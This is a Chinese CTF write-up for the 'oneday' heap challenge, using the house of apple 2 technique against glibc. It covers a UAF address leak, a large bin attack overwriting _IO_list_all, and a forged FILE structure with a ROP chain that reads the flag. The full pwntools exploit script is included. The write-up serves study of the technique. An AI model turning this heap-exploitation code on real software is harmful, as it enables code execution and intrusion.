前言: 最近看了house of apple 2 的相关知识,
看到了roderick师傅在其博客中提到的例题oneday
拿来做了一下,
写下了这篇wp.
题目分析
checksec查看保护策略,保护全开
禁用了execve
查看ida
分析程序发现,题目根据key的大小来决定可以申请堆块的大小,并且申请堆块只能申请key * 0x100,key * 0x100+0x10
key*2这3个固定大小的chunk
题目只给了一次edit的机会,同样也只给了一次show的机会。
解题流程 泄露地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 add(1) #0 add(3) #1 add(2) #2 add(3) #3 add(3) #4 add(3) #5 add(3) #6 free(3)#5 free(5)#6 show(3) p.recvuntil("\x3a\x20\x0a") addr=u64(p.recv(8))-0x21ace0 log_addr("addr") heap=u64(p.recv(8))-0x0035f0-0x100-0x1000 log_addr("heap")
申请几个堆块,然后free掉3,5 让其依次进入unsorted bin 然后因为uaf的存在,此时进行show,就可以把chunk3中的libc和heap地址泄露出来。
large bin attack 1 2 3 4 5 6 7 8 9 10 11 12 IO_list_all= addr+libc.sym['_IO_list_all'] add(3) #7 add(3) #8 free(2) add(3)#9 #申请大chunk,让chunk2进入large bin free(0) payload = p64(0)*3+p64(IO_list_all-0x20) edit(2,payload) add(3)#10 # 申请大chunk,让chunk 0 进入large bin add(1)#11 #触发unlink
通过large bin attack的方式把IO_list_all里面的内容替换为后放入large bin 的chunk 0地址
这时我们已经用掉了唯一的一次edit机会,但是我们还要去伪造fake_io,不能去改写chunk0 的内容,在看了其他师傅的博客后发现,这时我们去再次申请一个和large bin 中较小chunk相同大小的chunk,就会触发unlink,会将大chunk的地址写入IO_list_all,使io_list_all里面的内容从chunk0的地址变为chunk2的地址。
magic_gadgets 1 2 0x000000000016a06a: mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];
这是一条很有用的指令,rdi即为IO_file的首地址,所以我们可以控制rbp,rax, 同时有call qword ptr [rax + 0x28];
可以控制程序的执行流。在这道题中,我选择通过把执行流控制为leave_ret同时控制rbp为提前布置好的orw地址去让程序执行提前布置好的orw链,orw读出flag,getshell.
伪造结构体 因为只有一次edit的机会所以我们连带fake_io和执行orw的rop链一起输入
orw部分 1 2 3 4 orw=p64(pop_rdi)+p64(heap+0x1d28)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2) orw+=p64(syscall) #open orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(0)+p64(syscall) #read orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(1)+p64(syscall) #write
fake_io部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 file_addr=heap+0x1c30 IO_wide_data_addr=file_addr wide_vtable_addr = (file_addr+0xd8 + 8 + 8) - 0x68 fake_io = b"" fake_io += p64(0)*3+p64(IO_list_all-0x20) fake_io += p64(0) fake_io += p64(0) fake_io += p64(0) fake_io += p64(file_addr+0x18+0xe8) fake_io += p64(0) fake_io += p64(0) fake_io += p64(0) fake_io += p32(2) fake_io += p32(0) fake_io += p64(0xFFFFFFFFFFFFFFFF) fake_io += p64(0x0a000000) fake_io += p64(0) fake_io += p64(0xFFFFFFFFFFFFFFFF) fake_io += p64(0)*2 fake_io += p64(IO_wide_data_addr) fake_io += p64(0) * 2 fake_io += p32(0xFFFFFFFF) fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00') fake_io += p64(libc.sym['_IO_wfile_jumps']+addr) fake_io += p64(wide_vtable_addr) fake_io += p64(magic_gadget) fake_io += p64(leave_ret)+p64(0x67616c662f2e) fake_io +=p64(file_addr+0xf0-0x28) fake_io+=p64(pop_rsi_r15)+p64(0)+p64(file_addr+0xf0-0x28) fake_io+=orw
利用house of apple 2的模板去构建fake_io
触发io 1 p.sendlineafter("enter your command: \n",str(6))
最后我们选择通过选择一个不存在的选项去触发exit(0);
布置好的orw链
最后执行完毕,getshell.
完整exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from tools import* context(os='linux', arch='amd64', log_level='debug') p=process("./oneday") e=ELF("./oneday") libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(choice): p.sendlineafter("enter your command: \n",str(1)) p.sendlineafter("choise: ",str(choice)) def free(index): p.sendlineafter("enter your command: \n",str(2)) p.sendlineafter("Index: \n",str(index)) def edit(index,content): p.sendlineafter("enter your command: \n",str(3)) p.sendlineafter("Index: ",str(index)) p.sendafter("Message: ",content) def show(index): p.sendlineafter("enter your command: \n",str(4)) p.sendlineafter("Index: ",str(index)) p.sendlineafter(">>\n",str(8)) add(1) add(3) add(2) add(3)#3 add(3)#4x add(3)#5x add(3)#6 free(3)#5 free(5)#6 show(3) p.recvuntil("\x3a\x20\x0a") addr=u64(p.recv(8))-0x21ace0 log_addr("addr") heap=u64(p.recv(8))-0x0035f0-0x100-0x1000 log_addr("heap") IO_list_all= addr+libc.sym['_IO_list_all'] add(3)#7y add(3)#8y pop_rsi_r15=0x000000000002a3e3+addr pop_rdi=0x000000000002a3e5+addr pop_rsi=0x000000000016333a+addr pop_rdx_r12=0x000000000011f2e7+addr pop_rax=0x0000000000045eb0+addr syscall=0x0000000000091316+addr leave_ret=0x000000000004da83+addr magic_gadget = addr + 0x000000000016a06a pop_rsp=0x000000000004181d+addr orw=p64(pop_rdi)+p64(heap+0x1d28)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(2) orw+=p64(syscall) orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(0) orw+=p64(syscall) orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap+0x5000)+p64(pop_rdx_r12)+p64(0x20)*2+p64(pop_rax)+p64(1) orw+=p64(syscall) free(2) add(3)#9 free(0) file_addr=heap+0x1c30 IO_wide_data_addr=file_addr wide_vtable_addr = (file_addr+0xd8 + 8 + 8) - 0x68 fake_io = b"" fake_io += p64(0)*3+p64(IO_list_all-0x20) fake_io += p64(0) fake_io += p64(0) fake_io += p64(0) fake_io += p64(file_addr+0x18+0xe8) # fake_io += p64(0) fake_io += p64(0) fake_io += p64(0) fake_io += p32(2) fake_io += p32(0) fake_io += p64(0xFFFFFFFFFFFFFFFF) fake_io += p64(0x0a000000) fake_io += p64(0) fake_io += p64(0xFFFFFFFFFFFFFFFF) fake_io += p64(0)*2 fake_io += p64(IO_wide_data_addr) fake_io += p64(0) * 2 fake_io += p32(0xFFFFFFFF) fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00') fake_io += p64(libc.sym['_IO_wfile_jumps']+addr) fake_io += p64(wide_vtable_addr) fake_io += p64(magic_gadget) fake_io += p64(leave_ret)+p64(0x67616c662f2e) fake_io +=p64(file_addr+0xf0-0x28) fake_io+=p64(pop_rsi_r15)+p64(0)+p64(file_addr+0xf0-0x28) fake_io+=orw payload=fake_io.ljust(0x880,b'\x00') edit(2,payload) add(3)#10 add(1)#11 debug(p,addr+0x083b9b) p.sendlineafter("enter your command: \n",str(6)) p.interactive()